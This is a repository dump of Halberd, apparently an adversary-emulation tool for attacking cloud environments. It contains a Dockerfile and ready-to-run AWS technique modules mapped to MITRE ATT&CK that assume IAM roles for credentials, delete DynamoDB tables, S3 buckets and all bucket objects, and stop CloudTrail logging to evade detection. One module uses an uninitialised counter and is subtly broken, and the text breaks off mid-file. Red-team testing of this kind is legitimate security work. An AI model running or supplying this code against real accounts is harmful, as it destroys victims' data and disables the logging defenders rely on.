├── .dockerignore ├── .github └── workflows │ └── docker.yml ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── agent ├── attack_agent.py └── tools.py ├── assets ├── dark.js ├── favicon.ico ├── halberd.css ├── halberd_attack_view_v1.png ├── halberd_attack_view_v2_0.png ├── halberd_logo_banner.jpg └── home.css ├── attack_techniques ├── __init__.py ├── aws │ ├── __init__.py │ ├── aws_assume_iam_role.py │ ├── aws_delete_dynamodb_table.py │ ├── aws_delete_s3_bucket.py │ ├── aws_delete_s3_bucket_object.py │ ├── aws_disable_cloudtrail_logging.py │ ├── aws_enumerate_cloudtrail_trails.py │ ├── aws_enumerate_dynamodb_tables.py │ ├── aws_enumerate_ec2_instances.py │ ├── aws_enumerate_guardduty_detectors.py │ ├── aws_enumerate_iam_policies.py │ ├── aws_enumerate_iam_roles.py │ ├── aws_enumerate_iam_users.py │ ├── aws_enumerate_s3_bucket_objects.py │ ├── aws_enumerate_s3_buckets.py │ ├── aws_establish_access.py │ ├── aws_exfil_s3_bucket.py │ ├── aws_expose_s3_bucket_public.py │ ├── aws_get_bucket_acl.py │ ├── aws_modify_guardduty_trusted_ip.py │ ├── aws_recon_account_authorization_info.py │ ├── aws_recon_ec2_over_permissive_sg.py │ ├── aws_recon_iam_user_info.py │ ├── aws_recon_risky_iam_policy_users.py │ └── aws_recon_s3_public_buckets.py ├── azure │ ├── __init__.py │ ├── azure_abuse_azure_policy_to_disable_logging.py │ ├── azure_assign_role.py │ ├── azure_create_new_resource_group.py │ ├── azure_delete_vm.py │ ├── azure_deploy_malicious_extension_on_vm.py │ ├── azure_disable_resource_diagnostic_logging.py │ ├── azure_disable_storage_account_firewall.py │ ├── azure_dump_automation_accounts.py │ ├── azure_dump_keyvault.py │ ├── azure_dump_storage_account.py │ ├── azure_elevate_access_from_entra_id.py │ ├── azure_enable_storage_account_public_access.py │ ├── azure_enumerate_assigned_roles.py │ ├── azure_enumerate_key_vaults.py │ ├── azure_enumerate_logic_apps.py │ ├── azure_enumerate_resource_groups.py │ ├── azure_enumerate_resources.py │ ├── azure_enumerate_storage_accounts.py │ ├── azure_enumerate_storage_containers.py │ ├── azure_enumerate_vm.py │ ├── azure_enumerate_vm_in_vmss.py │ ├── azure_enumerate_vmss.py │ ├── azure_establish_access_as_app.py │ ├── azure_establish_access_as_user.py │ ├── azure_establish_access_via_device_code.py │ ├── azure_execute_script_on_vm.py │ ├── azure_exfil_storage_account_container.py │ ├── azure_exfil_vm_disk.py │ ├── azure_expose_storage_account_container_public.py │ ├── azure_extract_cache_tokens.py │ ├── azure_generate_storage_container_sas.py │ ├── azure_generate_vm_disk_sas_url.py │ ├── azure_mass_resource_deletion.py │ ├── azure_modify_keyvault_access.py │ ├── azure_modify_logic_app_trigger.py │ ├── azure_password_spray.py │ ├── azure_remove_role_asignment.py │ └── azure_scan_logic_apps_for_credentials.py ├── base_technique.py ├── entra_id │ ├── __init__.py │ ├── entra_abuse_family_refresh_token.py │ ├── entra_add_trusted_ip_config.py │ ├── entra_add_user_to_group.py │ ├── entra_assign_app_permission.py │ ├── entra_assign_directory_role.py │ ├── entra_assign_license.py │ ├── entra_bruteforce_graph_apps.py │ ├── entra_bruteforce_password.py │ ├── entra_check_user_validity.py │ ├── entra_create_backdoor_account.py │ ├── entra_create_new_app.py │ ├── entra_device_code_flow_auth.py │ ├── entra_enumerate_app_permissions.py │ ├── entra_enumerate_apps.py │ ├── entra_enumerate_cap.py │ ├── entra_enumerate_directory_roles.py │ ├── entra_enumerate_groups.py │ ├── entra_enumerate_licenses.py │ ├── entra_enumerate_one_drive.py │ ├── entra_enumerate_sp_site.py │ ├── entra_enumerate_users.py │ ├── entra_establish_access_as_app.py │ ├── entra_establish_access_as_user.py │ ├── entra_establish_access_with_token.py │ ├── entra_generate_app_credentials.py │ ├── entra_invite_external_user.py │ ├── entra_password_spray.py │ ├── entra_recon_role_info.py │ ├── entra_recon_tenant_info.py │ ├── entra_recon_user_info.py │ ├── entra_remove_account_access.py │ └── entra_remove_user_license.py ├── gcp │ ├── __init.py │ ├── gcp_enumerate_cloud_storage_buckets.py │ ├── gcp_enumerate_cloud_storage_objects.py │ ├── gcp_enumerate_compute_engine_instances.py │ ├── gcp_establish_access_as_au_application_default.py │ ├── gcp_establish_access_as_sa_private_key.py │ ├── gcp_establish_access_as_sa_short_lived_token.py │ ├── gcp_exfilterate_cloud_storage_objects.py │ ├── gcp_expose_public_cloud_storage.py │ └── gcp_persistence_via_ssh_key_addition.py ├── m365 │ ├── __init__.py │ ├── m365_add_external_user_to_teams.py │ ├── m365_add_team_member.py │ ├── m365_deploy_email_deletion_rule.py │ ├── m365_deploy_mail_forwarding_rule.py │ ├── m365_enumerate_team_members.py │ ├── m365_enumerate_teams.py │ ├── m365_exfil_sharepoint_data.py │ ├── m365_exfil_user_mailbox.py │ ├── m365_search_outlook_messages.py │ ├── m365_search_teams_chat.py │ ├── m365_search_teams_messages.py │ ├── m365_search_user_one_drive.py │ └── m365_send_outlook_email.py └── technique_registry.py ├── cli.py ├── core ├── Constants.py ├── Functions.py ├── __init__.py ├── aws │ ├── __init__.py │ └── aws_session_manager.py ├── azure │ ├── __init__.py │ └── azure_access.py ├── bootstrap.py ├── entra │ ├── __init__.py │ ├── entra_token_manager.py │ ├── graph_request.py │ └── token_info.py ├── gcp │ └── gcp_access.py ├── logging │ ├── __init__.py │ ├── logger.py │ ├── logging_config.yml │ └── report.py ├── output_manager │ ├── __init__.py │ └── output_manager.py └── playbook │ ├── __init__.py │ ├── playbook.py │ ├── playbook_error.py │ └── playbook_step.py ├── docker-compose.yml ├── halberd.py ├── pages ├── __init__.py ├── attack.py ├── attack_agent.py ├── attack_analyse.py ├── attack_history.py ├── automator.py ├── dashboard │ ├── __init__.py │ └── entity_map.py ├── home.py └── schedules.py ├── requirements.txt ├── run.py └── version.py /.dockerignore: -------------------------------------------------------------------------------- 1 | # Git 2 | .git 3 | .gitignore 4 | .github/ 5 | 6 | # Python 7 | __pycache__/ 8 | *.py[cod] 9 | *$py.class 10 | *.so 11 | .Python 12 | venv/ 13 | ENV/ 14 | env/ 15 | .env 16 | *.egg-info/ 17 | dist/ 18 | build/ 19 | 20 | # IDE 21 | .idea/ 22 | .vscode/ 23 | *.swp 24 | *.swo 25 | .DS_Store 26 | 27 | # Project specific 28 | local/ 29 | output/ 30 | report/ 31 | *.log 32 | *.tmp 33 | 34 | # Documentation 35 | *.md 36 | !README.md 37 | 38 | # Docker 39 | Dockerfile* 40 | docker-compose*.yml 41 | .dockerignore 42 | 43 | # CI/CD 44 | .github/ 45 | 46 | # Testing 47 | .pytest_cache/ 48 | .coverage 49 | htmlcov/ 50 | .tox/ 51 | 52 | # Other 53 | *.bak 54 | *.orig 55 | .cache/ -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | # Stage 0: caching 4 | FROM python:3.11-slim AS wheel-builder 5 | 6 | # Install build dependencies 7 | RUN apt-get update && apt-get install -y --no-install-recommends \ 8 | build-essential \ 9 | gcc \ 10 | g++ \ 11 | libffi-dev \ 12 | libssl-dev \ 13 | && rm -rf /var/lib/apt/lists/* 14 | 15 | # Upgrade pip and install wheel 16 | RUN pip install --no-cache-dir --upgrade pip wheel setuptools 17 | 18 | # Set working directory 19 | WORKDIR /wheels 20 | 21 | # Copy requirements and build wheels 22 | COPY requirements.txt . 23 | RUN pip wheel --wheel-dir=/wheels --no-cache-dir -r requirements.txt 24 | 25 | # Stage 1: azure-base stage 26 | FROM python:3.11-slim AS azure-base 27 | 28 | # Install Azure CLI dependencies 29 | RUN apt-get update && apt-get install -y --no-install-recommends \ 30 | curl \ 31 | gnupg \ 32 | lsb-release \ 33 | ca-certificates \ 34 | && rm -rf /var/lib/apt/lists/* 35 | 36 | # Manual Azure CLI installation 37 | RUN mkdir -p /etc/apt/keyrings \ 38 | && curl -sLS https://packages.microsoft.com/keys/microsoft.asc \ 39 | | gpg --dearmor | tee /etc/apt/keyrings/microsoft.gpg > /dev/null \ 40 | && chmod go+r /etc/apt/keyrings/microsoft.gpg \ 41 | && AZ_DIST=$(lsb_release -cs) \ 42 | && if [ "$AZ_DIST" = "trixie" ]; then AZ_DIST="bookworm"; fi \ 43 | && echo "Types: deb\nURIs: https://packages.microsoft.com/repos/azure-cli/\nSuites: ${AZ_DIST}\nComponents: main\nArchitectures: $(dpkg --print-architecture)\nSigned-by: /etc/apt/keyrings/microsoft.gpg" \ 44 | | tee /etc/apt/sources.list.d/azure-cli.sources \ 45 | && apt-get update \ 46 | && apt-get install -y azure-cli \ 47 | && az --version 48 | 49 | # Stage 2: dependencies stage 50 | FROM azure-base AS builder 51 | 52 | # Set working directory 53 | WORKDIR /app 54 | 55 | # Copy pre-built wheels 56 | COPY --from=wheel-builder /wheels /wheels 57 | 58 | # Create and activate virtual environment 59 | RUN python -m venv /opt/venv 60 | ENV PATH="/opt/venv/bin:$PATH" 61 | 62 | # Install dependencies 63 | COPY requirements.txt ./ 64 | RUN pip install --no-cache-dir --upgrade pip \ 65 | && pip install --no-cache-dir --no-index --find-links=/wheels -r requirements.txt 66 | 67 | # Stage 3: final stage 68 | FROM azure-base 69 | 70 | # Set version 71 | ARG HALBERD_VERSION 72 | ENV HALBERD_VERSION=${HALBERD_VERSION} 73 | 74 | # Set labels 75 | LABEL maintainer="Arpan Sarkar (@openrec0n)" \ 76 | version="${HALBERD_VERSION}" \ 77 | description="Halberd Multi-Cloud Agentic Attack Tool" \ 78 | repository="https://github.com/vectra-ai-research/Halberd" \ 79 | org.opencontainers.image.title="Halberd" \ 80 | org.opencontainers.image.description="Multi-Cloud Agentic Attack Tool" \ 81 | org.opencontainers.image.version="${HALBERD_VERSION}" \ 82 | org.opencontainers.image.source="https://github.com/vectra-ai-research/Halberd" \ 83 | org.opencontainers.image.vendor="Vectra AI Research" \ 84 | org.opencontainers.image.licenses="MIT" 85 | 86 | # Set working directory 87 | WORKDIR /app 88 | 89 | # Set environment variables 90 | ENV PYTHONDONTWRITEBYTECODE=1 \ 91 | PYTHONUNBUFFERED=1 \ 92 | HALBERD_HOST=0.0.0.0 \ 93 | HALBERD_PORT=8050 \ 94 | PATH="/opt/venv/bin:$PATH" \ 95 | PYTHONPATH="/app" \ 96 | AZURE_CONFIG_DIR="/home/halberd/.azure" 97 | 98 | # Create non-root user for security 99 | RUN groupadd -r halberd && useradd -r -g halberd -m -d /home/halberd halberd 100 | 101 | # Copy virtual environment from builder 102 | COPY --from=builder /opt/venv /opt/venv 103 | 104 | # Copy application code 105 | COPY --chown=halberd:halberd . . 106 | 107 | # Create necessary directories with proper permissions 108 | RUN mkdir -p local output report /home/halberd/.azure \ 109 | && chown -R halberd:halberd /app /home/halberd 110 | 111 | # Switch to non-root user 112 | USER halberd 113 | 114 | # Final verification that Azure CLI works for non-root user 115 | RUN az --version 116 | 117 | # Health check 118 | HEALTHCHECK --interval=30s --timeout=10s --start-period=40s --retries=3 \ 119 | CMD curl -f http://localhost:${HALBERD_PORT}/ || exit 1 120 | 121 | EXPOSE 8050 122 | CMD ["python", "run.py"] -------------------------------------------------------------------------------- /assets/dark.js: -------------------------------------------------------------------------------- 1 | document.documentElement.setAttribute('data-bs-theme', 'dark') -------------------------------------------------------------------------------- /assets/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/assets/favicon.ico -------------------------------------------------------------------------------- /assets/halberd_attack_view_v1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/assets/halberd_attack_view_v1.png -------------------------------------------------------------------------------- /assets/halberd_attack_view_v2_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/assets/halberd_attack_view_v2_0.png -------------------------------------------------------------------------------- /assets/halberd_logo_banner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/assets/halberd_logo_banner.jpg -------------------------------------------------------------------------------- /attack_techniques/aws/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vectra-ai-research/Halberd/554ec8b02cd07abd5bb3c2486136ecbc05d30dfe/attack_techniques/aws/__init__.py -------------------------------------------------------------------------------- /attack_techniques/aws/aws_assume_iam_role.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSAssumeIAMRole(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1098.003", 13 | technique_name="Account Manipulation", 14 | tactics=["Persistence", "Privilege Escalation"], 15 | sub_technique_name="Additional Cloud Roles" 16 | ) 17 | ] 18 | super().__init__("Assume Role", "Generates temporary credentials to access AWS resources", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | role_arn: str = kwargs.get("role_arn", None) 24 | role_session_name: str = kwargs.get("role_session_name", None) 25 | 26 | if role_arn in [None, ""] or role_session_name in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"Error" : "Invalid Technique Input"}, 29 | "message": {"Error" : "Invalid Technique Input"} 30 | } 31 | 32 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sts/client/assume_role.html# 33 | 34 | # Initialize boto3 client 35 | my_client = boto3.client("sts") 36 | 37 | raw_response = my_client.assume_role( 38 | RoleArn = role_arn, 39 | RoleSessionName= role_session_name, 40 | ) 41 | 42 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 43 | return ExecutionStatus.SUCCESS, { 44 | "message": f"Successfully assumed role", 45 | "value": { 46 | "credentials": raw_response.get("Credentials","N/A"), 47 | "assumed_role_user" : raw_response.get("AssumedRoleUser","N/A") 48 | } 49 | } 50 | 51 | return ExecutionStatus.FAILURE, { 52 | "error": raw_response.get('ResponseMetadata'), 53 | "message": "Failed to assume role" 54 | } 55 | except ClientError as e: 56 | return ExecutionStatus.FAILURE, { 57 | "error": str(e), 58 | "message": "Failed to assume role" 59 | } 60 | except Exception as e: 61 | return ExecutionStatus.FAILURE, { 62 | "error": str(e), 63 | "message": "Failed to assume role" 64 | } 65 | 66 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 67 | return { 68 | "role_arn": {"type": "str", "required": True, "default": None, "name": "Role ARN", "input_field_type" : "text"}, 69 | "role_session_name": {"type": "str", "required": True, "default": None, "name": "Role Session Name", "input_field_type" : "text"} 70 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_delete_dynamodb_table.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSDeleteDynamoDBTable(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1485", 13 | technique_name="Data Destruction", 14 | tactics=["Impact"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Delete DynamoDB Table", "Deletes a table in DyanmoDB for data destruction", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | table_name:str = kwargs.get("table_name", None) 24 | 25 | if table_name in [None, ""]: 26 | return ExecutionStatus.FAILURE, { 27 | "error": {"Error" : "Invalid Technique Input"}, 28 | "message": {"Error" : "Invalid Technique Input"} 29 | } 30 | 31 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/dynamodb/client/delete_table.html 32 | 33 | # Initialize boto3 client 34 | my_client = boto3.client("dynamodb") 35 | 36 | raw_response = my_client.delete_table(TableName = table_name) 37 | 38 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 39 | return ExecutionStatus.SUCCESS, { 40 | "message": f"Successfully deleted DynamoDB table {table_name}", 41 | "value": { 42 | "table_name" : raw_response.get('TableDescription','N/A').get('TableName','N/A'), 43 | "table_size_in_bytes" : raw_response.get('TableDescription','N/A').get('TableSizeBytes','N/A'), 44 | "item_count" : raw_response.get('TableDescription','N/A').get('ItemCount','N/A'), 45 | "tabke_status" : raw_response.get('TableDescription','N/A').get('TableStatus','N/A') 46 | } 47 | } 48 | 49 | return ExecutionStatus.FAILURE, { 50 | "error": raw_response.get('ResponseMetadata'), 51 | "message": "Failed to delete DynamoDB table" 52 | } 53 | except ClientError as e: 54 | return ExecutionStatus.FAILURE, { 55 | "error": str(e), 56 | "message": "Failed to delete DynamoDB table" 57 | } 58 | except Exception as e: 59 | return ExecutionStatus.FAILURE, { 60 | "error": str(e), 61 | "message": "Failed to delete DynamoDB table" 62 | } 63 | 64 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 65 | return { 66 | "table_name": {"type": "str", "required": True, "default": None, "name": "DynamoDB Table Name", "input_field_type" : "text"} 67 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_delete_s3_bucket.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSDeleteS3Bucket(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1485", 13 | technique_name="Data Destruction", 14 | tactics=["Impact"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Delete S3 Bucket", "Deletes a S3 bucket for data destruction", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | bucket_name:str = kwargs.get("bucket_name", None) 25 | 26 | if bucket_name in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"Error" : "Invalid Technique Input"}, 29 | "message": {"Error" : "Invalid Technique Input"} 30 | } 31 | 32 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3/client/delete_bucket.html 33 | 34 | # Initialize boto3 client 35 | my_client = boto3.client("s3") 36 | 37 | raw_response = my_client.delete_bucket(Bucket = bucket_name) 38 | 39 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 40 | return ExecutionStatus.SUCCESS, { 41 | "message": f"Successfully deleted S3 bucket {bucket_name}", 42 | "value": { 43 | "bucket_name" : bucket_name, 44 | "message" : "Bucket deleted" 45 | } 46 | } 47 | 48 | return ExecutionStatus.FAILURE, { 49 | "error": raw_response.get('ResponseMetadata'), 50 | "message": "Failed to delete S3 bucket" 51 | } 52 | except ClientError as e: 53 | return ExecutionStatus.FAILURE, { 54 | "error": str(e), 55 | "message": "Failed to delete S3 bucket" 56 | } 57 | except Exception as e: 58 | return ExecutionStatus.FAILURE, { 59 | "error": str(e), 60 | "message": "Failed to delete S3 bucket" 61 | } 62 | 63 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 64 | return { 65 | "bucket_name": {"type": "str", "required": True, "default": None, "name": "S3 Bucket Name", "input_field_type" : "text"} 66 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_delete_s3_bucket_object.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSDeleteS3BucketObject(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1485", 13 | technique_name="Data Destruction", 14 | tactics=["Impact"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Delete S3 Bucket Object", "Deletes a S3 bucket object or all objects in bucket if no object specified.", mitre_techniques) 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | try: 23 | bucket_name:str = kwargs.get("bucket_name", None) 24 | object_key_name:str = kwargs.get("object_key_name", None) 25 | 26 | if bucket_name in [None, ""]: 27 | return ExecutionStatus.FAILURE, { 28 | "error": {"Error" : "Invalid Technique Input"}, 29 | "message": {"Error" : "Invalid Technique Input"} 30 | } 31 | 32 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3/client/delete_bucket.html 33 | 34 | # Initialize boto3 client 35 | my_client = boto3.client("s3") 36 | 37 | # List objects in bucket 38 | all_bucket_object_keys = [] 39 | 40 | if object_key_name in [None, ""]: 41 | # s3 object enumeration to get all objects in bucket 42 | raw_response = my_client.list_objects_v2(Bucket=bucket_name) 43 | all_bucket_objects = raw_response['Contents'] 44 | 45 | for object in all_bucket_objects: 46 | all_bucket_object_keys.append(object.get('Key')) 47 | 48 | # only add object specified to delete list 49 | else: 50 | all_bucket_object_keys.append(object_key_name) 51 | 52 | # initialize list to track deleted objects 53 | deleted_objects = [] 54 | # initialize counter to track deleted objects 55 | delete_failed_counter = 0 56 | 57 | for object_key in all_bucket_object_keys: 58 | # Delete objects 59 | try: 60 | raw_response = my_client.delete_object(Bucket = bucket_name, Key = object_key) 61 | 62 | # Object deleted successfully 63 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 64 | # Add object to deleted objects list 65 | deleted_objects.append(object_key) 66 | object_delete_counter += 1 67 | else: 68 | delete_failed_counter +=1 69 | except: 70 | # do nothing - attempt to delete next object 71 | delete_failed_counter +=1 72 | 73 | return ExecutionStatus.SUCCESS, { 74 | "message": f"Successfully deleted {len(deleted_objects)} S3 bucket objects", 75 | "value": { 76 | "successful_deletions" : len(deleted_objects), 77 | "failed_deletions" : delete_failed_counter, 78 | "deleted_objects" : str(deleted_objects) 79 | } 80 | } 81 | except ClientError as e: 82 | return ExecutionStatus.FAILURE, { 83 | "error": str(e), 84 | "message": "Failed to delete S3 bucket objects" 85 | } 86 | except Exception as e: 87 | return ExecutionStatus.FAILURE, { 88 | "error": str(e), 89 | "message": "Failed to delete S3 bucket objects" 90 | } 91 | 92 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 93 | return { 94 | "bucket_name": {"type": "str", "required": True, "default": None, "name": "S3 Bucket Name", "input_field_type" : "text"}, 95 | "object_key_name": {"type": "str", "required": False, "default": None, "name": "Object Name", "input_field_type" : "text"} 96 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_disable_cloudtrail_logging.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | 6 | @TechniqueRegistry.register 7 | class AWSDisableCloudtrailLogging(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1562.008", 12 | technique_name="Impair Defenses", 13 | tactics=["Defense Evasion"], 14 | sub_technique_name="Disable Cloud Logs" 15 | ) 16 | ] 17 | super().__init__("Disable CloudTrail Logging", "This technique attempts to disable CloudTrail logs for a specified trail. Disabling CloudTrail logs can be used to evade detection and hide activities in the AWS environment.", mitre_techniques) 18 | 19 | 20 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 21 | self.validate_parameters(kwargs) 22 | 23 | try: 24 | trail_name:str = kwargs.get("trail_name", None) 25 | 26 | # Input validation 27 | if trail_name in [None, ""]: 28 | return ExecutionStatus.FAILURE, { 29 | "error": "Invalid Technique Input", 30 | "message": {"input_required":"Trail Name"} 31 | } 32 | 33 | # Initialize boto3 client 34 | my_client = boto3.client('cloudtrail') 35 | 36 | # Get all security groups 37 | raw_response = my_client.stop_logging(Name=trail_name) 38 | 39 | return ExecutionStatus.SUCCESS, { 40 | "message": f"Successfully disabled logging for trail {trail_name}", 41 | "value": { 42 | "trail_name" : trail_name, 43 | "logging": "disabled" 44 | } 45 | } 46 | 47 | except Exception as e: 48 | return ExecutionStatus.FAILURE, { 49 | "error": str(e), 50 | "message": "Failed to disable cloud trail logging" 51 | } 52 | 53 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 54 | return { 55 | "trail_name": {"type": "str", "required": True, "default": None, "name": "Trail Name", "input_field_type" : "text"}, 56 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_cloudtrail_trails.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | 6 | @TechniqueRegistry.register 7 | class AWSEnumerateCloudtrailTrails(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1087.004", 12 | technique_name="Account Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name="Cloud Account" 15 | ) 16 | ] 17 | super().__init__("Enumerate CloudTrail Trails", "Enumerates all CloudTrail trails in current account", mitre_techniques) 18 | 19 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 20 | self.validate_parameters(kwargs) 21 | try: 22 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/cloudtrail/client/list_trails.html 23 | 24 | # Initialize boto3 client 25 | my_client = boto3.client("cloudtrail") 26 | 27 | # list all cloudtrail trails 28 | raw_response = my_client.list_trails() 29 | 30 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 31 | # Create output 32 | trails = [trail for trail in raw_response['Trails']] 33 | 34 | return ExecutionStatus.SUCCESS, { 35 | "message": f"Successfully enumerated {len(trails)} trails" if trails else "No trails found", 36 | "value": trails 37 | } 38 | 39 | return ExecutionStatus.FAILURE, { 40 | "error": raw_response.get('ResponseMetadata', 'N/A'), 41 | "message": "Failed to enumerate CloudTrail trails" 42 | } 43 | 44 | except Exception as e: 45 | return ExecutionStatus.FAILURE, { 46 | "error": str(e), 47 | "message": "Failed to enumerate CloudTrail trails" 48 | } 49 | 50 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 51 | return {} -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_dynamodb_tables.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | from botocore.exceptions import ClientError 6 | 7 | @TechniqueRegistry.register 8 | class AWSEnumerateDynamoDBTables(BaseTechnique): 9 | def __init__(self): 10 | mitre_techniques = [ 11 | MitreTechnique( 12 | technique_id="T1619", 13 | technique_name="Cloud Storage Object Discovery", 14 | tactics=["Discovery"], 15 | sub_technique_name=None 16 | ) 17 | ] 18 | super().__init__("Enumerate Dynamo DB Tables", "Enumerates all tables associated with current account in DynamoDB", mitre_techniques) 19 | 20 | 21 | def execute(self, **kwargs: Any) -> Tuple[ExecutionStatus, Dict[str, Any]]: 22 | self.validate_parameters(kwargs) 23 | try: 24 | limit: int = kwargs.get("limit", None) 25 | 26 | # Ref: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/dynamodb/client/list_tables.html 27 | 28 | # Initialize boto3 client 29 | my_client = boto3.client("dynamodb") 30 | 31 | # list dynamodb tables 32 | if limit in [None, ""]: 33 | raw_response = my_client.list_tables() 34 | else: 35 | raw_response = my_client.list_tables( 36 | Limit = limit 37 | ) 38 | 39 | # operation successful 40 | if 200 <= raw_response['ResponseMetadata']['HTTPStatusCode'] <300: 41 | # Create output 42 | tables = [table for table in raw_response['TableNames']] 43 | 44 | return ExecutionStatus.SUCCESS, { 45 | "message": f"Successfully enumerated {len(tables)} tables in DynamoDB" if tables else "No tables found in DynamoDB", 46 | "value": tables 47 | } 48 | 49 | return ExecutionStatus.FAILURE, { 50 | "error": raw_response.get('ResponseMetadata'), 51 | "message": "Failed to enumerate DynamoDB tables" 52 | } 53 | except ClientError as e: 54 | return ExecutionStatus.FAILURE, { 55 | "error": str(e), 56 | "message": "Failed to enumerate DynamoDB tables" 57 | } 58 | except Exception as e: 59 | return ExecutionStatus.FAILURE, { 60 | "error": str(e), 61 | "message": "Failed to enumerate DynamoDB tables" 62 | } 63 | 64 | def get_parameters(self) -> Dict[str, Dict[str, Any]]: 65 | return { 66 | "limit": {"type": "int", "required": False, "default": None, "name": "Limit", "input_field_type" : "number"} 67 | } -------------------------------------------------------------------------------- /attack_techniques/aws/aws_enumerate_guardduty_detectors.py: -------------------------------------------------------------------------------- 1 | from ..base_technique import BaseTechnique, ExecutionStatus, MitreTechnique 2 | from ..technique_registry import TechniqueRegistry 3 | from typing import Dict, Any, Tuple 4 | import boto3 5 | 6 | @TechniqueRegistry.register 7 | class AWSEnumerateGuarddutyDetectors(BaseTechnique): 8 | def __init__(self): 9 | mitre_techniques = [ 10 | MitreTechnique( 11 | technique_id="T1526", 12 | technique_name="Cloud Service Discovery", 13 | tactics=["Discovery"], 14 | sub_technique_name=None 15 